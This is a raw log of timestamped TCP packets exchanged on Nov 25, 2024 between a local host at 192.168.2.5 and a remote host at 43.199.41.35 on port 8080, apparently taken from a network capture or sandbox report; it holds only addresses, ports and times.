Nov 25, 2024 11:10:18.368314028 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.368355989 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.369107962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.369283915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.369326115 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.369990110 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.370105982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.370147943 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.370886087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.370994091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.371038914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.371869087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.371952057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.371994972 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.372766018 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.372889996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.372931004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.373516083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.373625994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.373670101 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.374445915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.374577045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.374615908 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.375454903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.375541925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.375585079 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.376230001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.376365900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.376410007 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.377091885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.377254963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.377295017 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.378135920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.378233910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.378274918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.379113913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.379154921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.379198074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.379753113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.379862070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.379905939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.380633116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.380717993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.380759954 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.381531954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.432743073 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.486356020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.486390114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.486759901 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.486769915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.486840963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.486890078 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.487617970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.487679005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.487732887 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.488477945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.488590002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.488651037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.489468098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.489523888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.489579916 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.490293026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.491055965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.491106987 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.492779016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.492790937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.492840052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.514745951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.514830112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.514905930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.515027046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.515088081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.515127897 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.515938044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.516036987 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.516093016 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.516791105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.516988039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.517035007 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.517698050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.517785072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.517839909 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.518594027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.518703938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.518753052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.519474030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.519575119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.519628048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.520359039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.520478010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.520529985 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.521245956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.521296024 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.521347046 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.522160053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.522248983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.522300005 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.543982983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.544142008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.544215918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.544272900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.544476986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.544559002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.545094013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.545263052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.545315027 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.546037912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.546200037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.546248913 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.547177076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.547189951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.547241926 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.547946930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.548100948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.548154116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.548916101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.548928022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.548969984 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.549742937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.549756050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.549796104 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.550576925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.550774097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.550825119 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.551306009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.551491022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.551547050 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.552493095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.552505016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.552556992 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.553267956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.553284883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.553339005 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.554076910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.554235935 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.554286957 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.554977894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.554991007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.555032969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.555751085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.555928946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.555979967 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.556840897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.556853056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.556905985 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.557528019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.557704926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.557754993 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.558567047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.558737040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.558788061 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.559376955 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.559835911 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.559885979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.560373068 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.560544014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.560589075 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.561384916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.561398983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.561443090 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.562206984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.562220097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.562284946 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.562946081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.563113928 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.563163042 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.563898087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.564054966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.564101934 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.565027952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.565040112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.565080881 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.565763950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.565778971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.565831900 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.566519022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.566668987 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.566715956 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.567473888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.567490101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.567534924 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.568396091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.568412066 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.568447113 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.569240093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.569252968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.569293976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.570051908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.570066929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.570120096 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.570957899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.570976973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.571014881 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.571711063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.572021008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.572061062 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.572663069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.572832108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.572849035 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.572880983 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.573795080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.573865891 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.574517012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.574683905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.574736118 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.575305939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.620292902 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.678412914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.678450108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.678527117 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.678774118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.678965092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.679009914 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.679660082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.679778099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.679826975 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.680565119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.680654049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.680705070 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.681436062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.681549072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.681600094 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.682331085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.682416916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.682466030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.683253050 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.683295965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.683347940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.706828117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.706903934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.706967115 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.707209110 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.707351923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.707403898 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.708120108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.708252907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.708307028 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.709017038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.709104061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.709155083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.709861994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.710016012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.710063934 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.710788012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.710889101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.710942030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.711874962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.711955070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.712002039 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.712709904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.712850094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.712914944 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.713690042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.713737965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.713788033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.714538097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.714652061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.714695930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.734399080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.734534025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.734643936 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.734793901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.734941959 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.734991074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.735672951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.735768080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.735815048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.736649990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.736716986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.736762047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.737462997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.737586021 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.737636089 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.738348007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.738455057 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.738502979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.739520073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.739685059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.739732981 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.740128040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.740231991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.740278959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.740991116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.741120100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.741170883 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.741885900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.742022038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.742074013 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.742789984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.742935896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.742985964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.743680000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.743887901 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.743937969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.744543076 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.744649887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.744712114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.745428085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.745647907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.745703936 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.746320009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.746433020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.746481895 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.747193098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.747379065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.747436047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.748079062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.748193026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.748244047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.748971939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.749104023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.749159098 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.749855995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.749974012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.750025988 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.750782013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.750853062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.750906944 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.751646042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.751737118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.751784086 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.752542973 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.752655029 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.752705097 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.753412962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.753546000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.753598928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.754287958 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.754497051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.754549026 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:18.755259037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.755341053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:18.755394936 CET	49705	8080	192.168.2.5	43.199.41.35
